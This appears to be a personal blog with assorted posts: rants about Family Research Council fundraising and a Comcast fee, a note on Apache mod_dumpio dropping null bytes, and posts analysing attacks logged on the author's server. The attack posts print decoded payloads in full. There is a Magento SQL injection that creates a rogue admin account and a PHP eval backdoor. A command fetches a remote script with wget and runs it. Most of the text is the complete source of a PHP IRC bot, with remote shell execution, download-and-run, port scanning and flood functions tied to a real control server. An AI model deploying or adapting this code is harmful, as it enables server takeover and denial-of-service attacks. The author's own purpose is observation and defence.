FRC whines that they are only halfway to their fundraising goal of $2.5M

Long ago I signed up for email from the Family Research Council (FRC) under a nom de rude (h/t The Rude Pundit). Once or twice a week I receive an email from them. Today’s begging for dollars email warmed my heart. I learned that even with a $500K “matching” donation from someone they’ve still only managed to raise $1.3M of their $2.5M goal. The deadline for raising another $1.2M is tonight. Bwahahaha. The sooner people stop giving money to grifters like Tony Perkins (head of the FRC) the sooner our world will improve as the money is put to more useful purposes.

Attacker attempting a SQL injection via POST /admin/Cms_Wysiwyg/directive/index/ request

I’ve only seen this attack twice in the past six months (as far back as I keep logs). The first was on 2015-09-15 from domain qs.biz in Russia (RU). The most recent was today, 2015-09-24, from gigaboxhosting.net in US. This was the request:

POST /admin/Cms_Wysiwyg/directive/index/ HTTP/1.1
Host: www.skepticism.us
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2;
Accept: */*
Content-Length: 1349
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------daadfd20bc730c50

--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="filter"

cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTM…
--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="___directive"

e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ==
--------------------------daadfd20bc730c50
Content-Disposition: form-data; name="forwarded"

1
--------------------------daadfd20bc730c50--

The ___directive value decodes to

{{block type=Adminhtml/report_search_grid output=getCsvFile}}

The filter value decodes to

popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = \t'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , 'ganteng123') ), CONCAT(':',
@SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','039efceb0a7b17b@telekpitekwashere.cok','coadmin',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = 'coadmin'),'Firstname');

A google search suggests that this attacker is trying to exploit a vulnerability in the Magento.com CMS products that has already been fixed. The attacker is clearly trying to create an administrator account with a password that they know (“ganteng123”) in order to gain control of the site.

This attack against my server is more sophisticated than the majority of attacks I’ve seen. It’s a variation of a SQL injection attack most notably illustrated by Randall Munroe at his XKCD cartoon “Exploits of a Mom”.

Attacker attempts to install minimalist backdoor via POST /license.php

This has been quite a week for novel attacks. Prior to the past few days it seemed like nearly 100% of the attacks I observed against my server fell into just a couple of categories:

1) credential guessing via /xmlrpc.php or /wp-login.php, and

2) attempts to exploit WordPress plugin “revslider” vulnerabilities to install malware to my server.

Today’s entry in the new and unusual category is from a server in the US in the colocrossing.com domain. It first attempted a POST / request which my Apache firewall rules rejected and caused the source to be blacklisted. Notice that it is attempting to install the most minimal backdoor you can imagine. It’s just a single-line PHP script that simply evaluates whatever PHP statements the attacker hands it.

POST / HTTP/1.1
Referer: http://skepticism.us
User-Agent: Mozilla/5.0 (Windows; Windows NT 5.1; en-US) Firefox/3.5.0
Accept: */*
Content-Type: multipart/form-data; boundary=(UploadBoundary)
Host: skepticism.us
Content-Length: 340
Connection: Close

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_contact[]"; filename="sys.php"
Content-Type: text/php

...<?php @eval($_POST["err"]);?>45000

--(UploadBoundary)
Content-Disposition: form-data; name="yiw_action"

sendemail
--(UploadBoundary)
Content-Disposition: form-data; name="id_form"

a_3_3
--(UploadBoundary)

It was apparently trying to exploit either a WordPress plugin or malware already present on my server to create a file named “sys.php” that did nothing more than eval() whatever PHP statements it was handed in a POST request. I did a bit of googling and found a couple of WP plugins that might be relevant but was not able to definitively find a match.

When that upload failed it attempted to create the same file with the same content via a POST /license.php request.

Finally, despite my server having returned HTTP 400 and 403 statuses for all the requests it tried to see if the “sys.php” file was present and could be fetched. Notice it’s sleazy attempt to impersonate the Google web crawler:

GET /sys.php HTTP/1.1
Referer: http://www.googlebot.com/bot.html
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Host: skepticism.us
Connection: Close
Update 2014-09-24: I just saw the same attack again from someplace in Korea (no reverse DNS or WhoIs data for the address). Only this time the core of the malware is

@eval($_POST["Fktol!coco"])

Notice the POST parameter has changed from err to Fktol!coco.

Comcast charges me a $5.99 “convenience fee”

I wrote about the fact that I missed my initial payment because Comcast did not email my bill to the address I gave the installer and who assured me would be used for all emails from Comcast. When I received a phone call from Comcast telling me my account was past due two months after the installation I immediately paid via a credit card.

So imagine my surprise today when I received an email from Comcast telling me my bill would be $5.99 more than I expected because of a “Convenience Fee”. What the fuck is a “convenience fee”? Apparently they expect me to pay 12% more this month for the “convenience” of paying in full for my first two months of service after they fucked up notifying me that my bill was due the first month.

I now understand why Comcast has been rated the most hated company in America. I intend to call Comcast tomorrow and tell them where they can stick that $5.99 “convenience fee”.

P.S., I’ve filed this under “politics” because companies like Comcast do not see enough government regulation of their practices in my opinion.

Update 2015-09-24: I called Comcast customer support this afternoon and asked what a “convenience charge” was. The support rep didn’t answer that question but did say there was a note on my account that there should not be a convenience charge as a result of my prior payment and they would remove it from my current bill. I then noticed on the Comcast web site that the link to pay your bill by calling them had a note saying extra charges might apply. So apparently Comcast adds $5.99 to your bill if you pay via credit card by calling them (or them calling you) but not if you pay via their web site or by sending them a check. Greedy amoral assholes is the nicest thing I can say about the company executives who think up such policies.

Attack that tries to install wp-infos.php via POST /controllers/uploader/upload.php

I saw another novel attack today. What makes this one particularly interesting is that the first request was an attempt to upload a file named /wp-infos.php. It did so via a

POST /controllers/uploader/upload.php

request. That path might be an alternate for the ninja uploader vulnerability I wrote about yesterday.

The attacker then issued a

GET /wp-infos.php?osc=cm0gLXJmIHp1Yi4qOyBybSAtcmYgbWFyaW5hYnkqOyB3Z2V0IGh0dHA6Ly93d3cuYWVzbWkucHQvbW9vZGxlL2NhbGVuZGFyL3dwLWVuZ2luZS5id2U7IG12IHdwLWVuZ2luZS5id2UgenViLnBocDsgY2htb2QgNzc3IHp1Yi5waHA7IHBocCB6dWIucGhwOyBybSAtcmYgenViLio=

The value for the osc parameter is base64 encoded and decodes to:

rm -rf zub.*; rm -rf marinaby*; wget http://www.aesmi.pt/moodle/calendar/wp-engine.bwe; mv wp-engine.bwe zub.php; chmod 777 zub.php; php zub.php; rm -rf zub.*

I fetched the URI hosted on www.aesmi.pt using curl and to my surprise it was the exact same PHP script the attacker believed they had just installed on my system. Literally byte for byte identical.

Below you’ll find the 855 line PHP script the attacker attempted to install. There are a couple of things worth pointing out. The server this script attempts to connect to is at IP address 78.140.173.43 which has hostname v-5-509-d4122-43.webazilla.com (although the backdoor implements a “moveserver” command to allow the person controlling this bot to change the server). The “chan” is the typical hacker value “1x33x7”.

<?php
  set_time_limit( 0 );
  error_reporting( 0 );
  echo "Success!";

  class pBot
  {
    var $using_encode = true;

    var $config = array(
      'server'   => 'NzguMTQwLjE3My40Mw==',  //server here (base64)
      'port'    => 9595,
      'chan'    => 'MXgzM3g3',    //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
      'key'    => '',
      'nickform'  => 'logging[%d]',
      'identp'  => 'darxs',
      'modes'    => '+p',
      'maxrand'  => 6,
      'cprefix'  => '!',
      'host'    => 'Peter@'
    );

    var $admins = array
    (
      'LND-Bloodman' => '2cbd62e679d89acf7f1bfc14be08b045' // pass = "lol_dont_try_cracking_12char+_:P"
      //passes are MD5 format, you can also have multiple admins
    );

    function auth_host( $nick, $password, $host )
    {
      $admin_count = count( $this->admins );
      if( $admin_count > 0 )
      {
        $mpass = md5( $password );
        if( $this->admins[ $nick ] == $mpass )
        {
          $this->users[ $host ] = true;
        }
      }
      else
      {
        $this->users[ $host ] = true;
      }
    }

    function is_authed( $host )
    {
      return isset( $this->users[ $host ] );
    }

    function remove_auth( $host )
    {
      unset( $this->users[ $host ] );
    }

    function ex( $cfe )
    {
      $res = '';
      if (!empty($cfe))
      {
        if(function_exists('class_exists') && class_exists('Perl'))
        {
          $perl = new Perl();
          $perl->eval( "system('$cfe');" );
        }
        if(function_exists('exec'))
        {
          @exec($cfe,$res);
          $res = join("\n",$res);
        }
        elseif(function_exists('shell_exec'))
        {
          $res = @shell_exec($cfe);
        }
        elseif(function_exists('system'))
        {
          @ob_start();
          @system($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('passthru'))
        {
          @ob_start();
          @passthru($cfe);
          $res = @ob_get_contents();
          @ob_end_clean();
        }
        elseif(function_exists('proc_open'))
        {
          $res = proc_open($cfe);
        }
        elseif(@is_resource($f = @popen($cfe,"r")))
        {
          $res = "";
          while(!@feof($f)) { $res .= @fread($f,1024); }
          @pclose($f);
        }
      }
      return $res;
    }

    function is_safe( )
    {
      if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
      {
        return 0;
      }
      return 1;
    }

    function get_chan( )
    {
      if( $this->using_encode )
      {
        return '#'.base64_decode( $this->config[ 'chan' ] );
      }
      else
      {
        return '#'.$this->config[ 'chan' ];
      }
    }

    function start()
    {
      if( $this->using_encode )
      {
        if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }
      else
      {
        if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
        {
          $this->start();
        }
      }

      $ident = $this->config['prefix'];
      $alph = range("0","9");
      for( $i=0; $i < $this->config['maxrand']; $i++ )
      {
        $ident .= $alph[rand(0,9)];
      }

      if( strlen( $this->config[ 'pass' ] ) > 0 )
      {
        $this->send( "PASS ".$this->config[ 'pass' ] );
      }

      $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
      $this->set_nick( );
      $this->main( );
    }

    function main()
    {
      while(!feof($this->conn))
      {
        $this->buf = trim(fgets($this->conn,512));
        $cmd = explode(" ",$this->buf);
        if(substr($this->buf,0,6)=="PING :")
        {
          $this->send("PONG :".substr($this->buf,6));
        }
        if(isset($cmd[1]) && $cmd[1] =="001")
        {
          $this->send("MODE ".$this->nick." ".$this->config['modes']);

          if( $this->using_encode )
          {
            $this->join($this->get_chan( ),base64_decode($this->config['key']));
          }
          else
          {
            $this->join($this->get_chan( ),$this->config['key']);
          }

          if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
          else { $safemode = "off"; }
          $uname = php_uname();
        }
        if(isset($cmd[1]) && $cmd[1]=="433")
        {
          $this->set_nick();
        }
        if($this->buf != $old_buf)
        {
          $mcmd = array();
          $msg = substr(strstr($this->buf," :"),2);
          $msgcmd = explode(" ",$msg);
          $nick = explode("!",$cmd[0]);
          $vhost = explode("@",$nick[1]);
          $vhost = $vhost[1];
          $nick = substr($nick[0],1);
          $host = $cmd[0];
          if($msgcmd[0]==$this->nick)
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i+1];
          }
          else
          {
            for($i=0;$i<count($msgcmd);$i++)
              $mcmd[$i] = $msgcmd[$i];
          }
          if(count($cmd)>2)
          {
            switch($cmd[1])
            {
              case "QUIT":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PART":
              {
                if( $this->is_authed( $host ) )
                {
                  $this->remove_auth( $host );
                }
              }
              break;
              case "PRIVMSG":
                if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
                {
                  if( $this->is_authed( $host ) == false )
                  {
                    switch( substr( $mcmd[ 0 ], 1 ) )
                    {
                      case "auth":
                      {
                        $this->auth_host( $nick, $mcmd[ 1 ], $host );
                        if( $this->is_authed( $host ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Successful login from [ ".$nick." ]" );
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ auth ] Failed attempt from [ ".$nick." ]" );
                        }
                        break;
                      }
                    }
                  }
                  else
                  {
                    switch(substr($mcmd[0],1))
                    {
                      case "exec":
                      {
                        if( !$this->is_safe( ) )
                        {
                          $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                          $returndata = $this->ex( $command );
                          if( !empty( $returndata ) )
                          {
                            $this->privmsg( $this->get_chan( ), '[ exec ] '.$returndata );
                          }
                        }
                        break;
                      }
                      case "info":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ info ] '.php_uname( ).' ( SAFE: '.$safemode.' )' );
                        break;
                      }
                      case "safe":
                      {
                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                        break;
                      }
                      case "uname":
                      {
                        $this->privmsg( $this->get_chan( ), '[ uname ] '.php_uname( ) );
                        break;
                      }
                      case "perl":
                      {
                        if( $this->is_safe( ) )
                        {
                          $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
                          break;
                        }

                        $perl_file = $mcmd[1];

                        if( !empty( $perl_file ) )
                        {
                          $parsed_url = $this->parse_url_s( $perl_file );

                          $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
                          $new_local   = $parsed_url[ 'file' ];
                          $file_type  = $parsed_url[ 'file_ext' ];

                          $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
                          $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*')
                          $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
                          $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');

                          $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
                          break;
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$perl_file );
                        break;
                      }
                      case "ip":
                      {
                        $this->privmsg( $this->get_chan( ), '[ ip ] '.$_SERVER['SERVER_ADDR'] );
                        break;
                      }
                      case "rfi":
                      {
                        $fileUrl = $mcmd[1];

                        if( !empty( $fileUrl ) )
                        {
                          $urli = parse_url( $fileUrl );

                          if( !empty( $urli['host'] ) && !empty( $urli['path'] ) && !empty( $urli['query'] ) )
                          {
                            $fp = fsockopen( $urli['host'], 80, $errno, $errstr, 5 );

                            if( $fp )
                            {
                              $out = "GET /".$urli['path'].$urli['query']." HTTP/1.1\r\n";
                              $out .= "Host: ".$urli['host']."\r\n";
                              $out .= "Keep-Alive: 300\r\n";
                              $out .= "Connection: keep-alive\r\n\r\n";
                              fwrite( $fp, $out );

                              $get_data = '';

                              while(!feof($fp))
                              { $get_data .= fgets( $fp, 256 ); }

                              $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
                              break;
                            }
                          }
                        }

                        $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$fileUrl );
                        break;
                      }
                      case "base64":
                      {
                        $str_ed = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        switch( $mcmd[1] )
                        {
                          case "encode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed).
                            break;
                          }
                          case "decode":
                          {
                            $this->privmsg( $this->get_chan( ), "[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed).
                            break;
                          }
                        }
                        break;
                      }
                      case "md5":
                      {
                        $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ md5 ] [ '".$str_md5."' -> '".md5($str_md5)."' ]" );
                        break;
                      }
                      case "dns":
                      {
                        if(isset($mcmd[1]))
                                         {
                                            $ip = explode(".",$mcmd[1]);
                                            if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
                            && is_numeric($ip[2]) && is_numeric($ip[3]))
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr($mcmd
                                            }
                                            else
                                            {
                                               $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname($mcmd
                                            }
                                         }
                        break;
                      }
                      case "exit":
                      {
                        fclose( $this->conn );
                        exit( );
                        break;
                      }
                      case "restart":
                      {
                        $this->privmsg( $this->get_chan( ), "[ restart ] executed by [".$nick."]" );
                        $this->send( "QUIT :restart command from ".$nick );
                        fclose( $this->conn );
                        $this->start();
                        break;
                      }
                      case "bs":
                      {
                        if( $this->is_safe( ) )
                        {
                          ini_restore( "safe_mode" );
                          ini_restore( "open_basedir" );
                        }

                        $safemode = "on";
                        if( !$this->is_safe( ) )
                        {
                          $safemode = "off";
                          $this->set_nick();
                        }
                        $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
                      }
                      case "moveserver":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $server = $mcmd[1];
                          $port = $mcmd[2];
                          $channel = $mcmd[3];
                          $key = $mcmd[4];

                          if( $this->using_encode )
                          {
                            $this->config[ 'server' ] = base64_encode( $server );
                            $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
                            $this->config[ 'key' ] = base64_encode( $key );
                          }
                          else
                          {
                            $this->config[ 'server' ] = $server;
                            $this->config[ 'chan' ] = str_replace( "#", "", $channel );
                            $this->config[ 'key' ] = $key;
                          }

                          $this->config[ 'port' ] = $port;
                          $this->privmsg( $this->get_chan( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." =>
                          $this->send( "QUIT :moveserver command from ".$nick );

                          fclose( $this->conn );
                          $this->start();
                        }
                        break;
                      }
                      case "whois":
                      {
                        $param2 = $mcmd[1];

                        if( !empty( $param2 ) )
                        {
                          //do it
                          //http://ws.arin.net/whois/?queryinput=127.0.0.1
                          $fp = fsockopen( "ws.arin.net", 80, $errno, $errstr, 30 );

                          if( $fp )
                          {
                            $out = "GET /whois/?queryinput=$param2 HTTP/1.1\r\n";
                            $out .= "Host: ws.arin.net\r\n";
                            $out .= "Keep-Alive: 300\r\n";
                            $out .= "Connection: keep-alive\r\n\r\n";
                            fwrite( $fp, $out );

                            $whodata = '';
                            while(!feof($fp))
                            {
                              /*do nothing*/
                              $whodata .= fread( $fp, 1024 );
                            }

                            $explk = explode( "<div id=\"content\">", $whodata );
                            $explk = explode( "</div>", $explk[1] );
                            $htmldat = strip_tags( $explk[0] );

                            fclose( $fp );

                            $this->privmsg( $this->get_chan( ), "[ whois ] $htmldat" );

                          }else{
                            $this->privmsg( $this->get_chan( ), "[ whois ] Error: $errstr" );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ whois ] Invalid params, use .whois <ip/host>" );
                        }
                        break;
                      }
                      case "upftp":
                      {
                        //ftp://user:password@host.com
                        $pftp = parse_url( $mcmd[1] );
                        $file = $mcmd[2];
                        $dest = $mcmd[3];

                        if( empty( $pftp[ 'host' ] )
                          || empty( $pftp[ 'user' ] )
                          || empty( $pftp[ 'pass' ] )
                          || empty( $file )
                          || empty( $dest ) )
                        {
                          $this->privmsg( $this->get_chan( ), "[ upftp ] URL line invalid!" );
                        }
                        else
                        {
                          $conn_id = ftp_connect( $pftp[ 'host' ] );
                          $login_result = ftp_login( $conn_id, $pftp[ 'user' ], $pftp[ 'pass' ] );

                          if( ( !$conn_id ) || ( !$login_result ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] FTP connection failed!" );
                          }
                          else
                          {
                            $this->privmsg( $this->get_chan( ), "[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user
                            $upload = ftp_put( $conn_id, $dest, $file, FTP_BINARY );
                            if( !$upload )
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload faled!" );
                            }
                            else
                            {
                              $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload success!" );
                              $this->privmsg( $this->get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
                            }
                          }
                        }
                        break;
                      }
                      case "joinchan":
                      {
                        $channel = $mcmd[1];
                        $key = $mcmd[2];
                        $this->privmsg( $this->get_chan( ), "[ joinchan ] ".$channel." => ".$key );
                        $this->join( $channel, $key );
                        break;
                      }
                      case "partchan":
                      {
                        $this->privmsg( $this->get_chan( ), "[ partchan ] ".$mcmd[1] );
                        $this->send( "PART ".$mcmd[1] );
                      }
                      case "vuln":
                      {
                        $server_name = $_SERVER['SERVER_NAME'];
                        $req_uri = $_SERVER['REQUEST_URI'];

                        if( $server_name != "localhost" && $server_name != "127.0.0.1" )
                        {
                          if( strlen( $server_name ) && strlen( $req_uri ) )
                          {
                            $vuln = "http://".$server_name.$req_uri;
                            $this->privmsg( $this->get_chan( ), "[ getvuln ] ".$vuln );
                          }
                        }
                        break;
                      }
                      case "download":
                      {
                        if( count( $mcmd ) > 2 )
                        {
                          if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
                          {
                            $this->privmsg( $this->get_chan( ), "[ download ] Permission denied!" );
                          }
                          else
                          {
                            if( !$get = file( $mcmd[ 1 ] ) )
                            {
                              $this->privmsg( $this->get_chan( ), "[ download ] Download failed!" );
                            }
                            else
                            {
                              for( $i=0; $i <= count( $get ); $i++ )
                              {
                                fwrite( $fp, $get[ $i ] );
                              }
                              $this->privmsg( $this->get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
                            }
                            fclose( $fp );
                          }
                        }
                        else
                        {
                          $this->privmsg( $this->get_chan( ), "[ download ] Invalid Parameters, idiot!" );
                        }
                        break;
                      }
                      case "pmsg":
                      {
                        $person = $mcmd[1];
                        $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
                        $this->privmsg( $this->get_chan( ), "[ pmsg ] ".$person." => ".$text );
                        $this->privmsg( $person, $text );
                        break;
                      }
                      case "pscan":
                      {
                        $host = $mcmd[1];
                        $beginport = $mcmd[2];
                        $endport = $mcmd[3];
                        $open_ports = "Open Port List for ".$host.": ";

                        for($i = $beginport; $i < $endport; $i++)
                        {
                          if( $this->scanport( $host, $i ) )
                          {
                            $open_ports .= "|".$i;
                          }
                        }

                        $this->privmsg( $this->get_chan( ), $open_ports );
                        break;
                      }
                      case "software":
                      {
                        $this->privmsg( $this->get_chan( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
                        break;
                      }
                      case "snf":
                      {
                        $this->config[ 'nickform' ] = $mcmd[ 1 ];
                        $this->privmsg( $this->get_chan( ), "Nickname format set to [ ".$mcmd[ 1 ]." ]" );
                        break;
                      }
                      case "randnick":
                      {
                        $this->set_nick();
                        break;
                      }
                      case "unauth":
                      {
                        $this->remove_auth( $host );
                        $this->privmsg( $this->get_chan( ), "[ auth ] Logout [ ".$nick." ]" );
                        break;
                      }
                      case "urlbomb":
                      {
                        $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
                        break;
                      }
                      case "udpflood":
                      {
                        if( count( $mcmd ) > 3 )
                        {
                          $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
                        }
                        break;
                      }
                      case "tcpflood":
                      {
                         if( count( $mcmd ) > 5 )
                         {
                           $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
                         }
                         break;
                      }
                    }
                  }
                }
              break;
            }
          }
        }
        $old_buf = $this->buf;
      }
      $this->start();
    }

    function scanport( $host, $port )
    {
      if( fsockopen( $host, $port, $e, $s ) )
      {
        return 1;
      }
      return 0;
    }

    function urlbomb( $host, $path, $times, $mode = 0 )
    {
      if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
        return;

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] started! [ '.$host.'/'.$path.' ]' );

      $success = 0;
      for( $i = 0; $i < $times; $i++ )
      {
        $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
        if( $fp )
        {
          $out = "GET /".$path." HTTP/1.1\r\n";
          $out .= "Host: ".$host."\r\n";
          $out .= "Keep-Alive: 300\r\n";
          $out .= "Connection: keep-alive\r\n\r\n";
          fwrite( $fp, $out );

          if( $mode != 0 )
          {
            while(!feof($fp)){/*do nothing*/}
          }

          fclose( $fp );

          $success++;
        }
      }

      $this->privmsg( $this->get_chan( ), '[ urlbomb ] finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
    }

    function udpflood( $host, $packetsize, $time )
    {
      $this->privmsg( $this->get_chan( ),"[ udpflood ] Started [".$host."]" );
      $packet = "";
      for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
      $timei = time();
      $i = 0;
      while(time()-$timei < $time)
      {
        $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
        fwrite($fp,$packet);
        fclose($fp);
        $i++;
      }
      $env = $i * $packetsize;
      $env = $env / 1048576;
      $vel = $env / $time;
      $vel = round($vel);
      $env = round($env);
      $this->privmsg( $this->get_chan( ),"[ udpflood ] $env MB Sent / $vel MB/s ");
    }

    function tcpflood($host,$packets,$packetsize,$port,$delay)
    {
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Started!\2]");
      $packet = "";
      for($i=0;$i<$packetsize;$i++)
        $packet .= chr(mt_rand(1,256));

      for($i=0;$i<$packets;$i++)
      {
        if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
          {
          $this->privmsg( $this->get_chan( ),"[\2TcpFlood\2]: Error: <$e>");
            return 0;
           }
           else
           {
          fwrite($fp,$packet);
          fclose($fp);
        }
           sleep($delay);
      }
      $this->privmsg( $this->get_chan( ),"[\2TcpFlood Finished!\2]: Config - $packets for $host:$port.");
    }

    function send($msg)
    {
      fwrite($this->conn,"$msg\r\n");
    }

    function join($chan,$key=NULL)
    {
      $this->send("JOIN $chan $key");
    }

    function privmsg($to,$msg)
    {
      $this->send("PRIVMSG $to :$msg");
    }

    function notice($to,$msg)
    {
      $this->send("NOTICE $to :$msg");
    }

     function set_nick()
     {
      $prefix = "[lnx]";
      if(isset($_SERVER['SERVER_SOFTWARE']))
      {
        if( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "apache" ) )
          $prefix = "[A]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "iis" ) )
          $prefix = "[I]";
        elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "xitami" ) )
          $prefix = "[X]";
        else
          $prefix = "[U]";
      }

      if( !$this->is_safe( ) )
      {
        $prefix .= "[win32]";
      }

      $random_number = "";
      for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
      {
        $random_number .= mt_rand( 0, 9 );
      }

      $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
      $this->send("NICK ".$this->nick);
     }

    function parse_url_s( $url )
    {
      $URLpcs = ( parse_url( $url ) );
      $PathPcs = explode( "/", $URLpcs['path'] );
      $URLpcs['file'] = end( $PathPcs );
      unset( $PathPcs[ key( $PathPcs ) ] );
      $URLpcs['dir'] = implode("/",$PathPcs);

      $fileext = explode( '.', $URLpcs['file'] );

      if(count($fileext))
      {
        $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
      }

      return ($URLpcs);
    }
  }

  $bot = new pBot;
  $bot->start();

?>

Apache module dumpio doesn’t dump null (zero) bytes

I’ve been using the Apache mod_dumpio module for almost as long as I’ve been blogging to capture all of the data received by my web server. Doing so is expensive but very useful for analyzing attacks. What I did not realize until today is that mod_dumpio drops (i.e., omits) nul (i.e., null or zero) bytes in the input when it writes that data to the Apache error log.

Looking at the lines written by mod_dumpio in the Apache error log you’ll find plenty of strings such as “\x03” but no instances of “\x00“. Even where such sequences would be expected in the incoming data. I confirmed this by hand-crafting a HTTP request that included null bytes. When I sent that request to my server and looked at the error log the mod_dumpio data contained every byte except the zero (null) bytes.

Using Google to search for various phrases such as “apache dumpio drops zero bytes” and “apache dumpio omits zero bytes” and “mod_dumpio skips null bytes” and many other variations resulted in no indication that anyone has ever noticed this problem. What. The. Fuck.

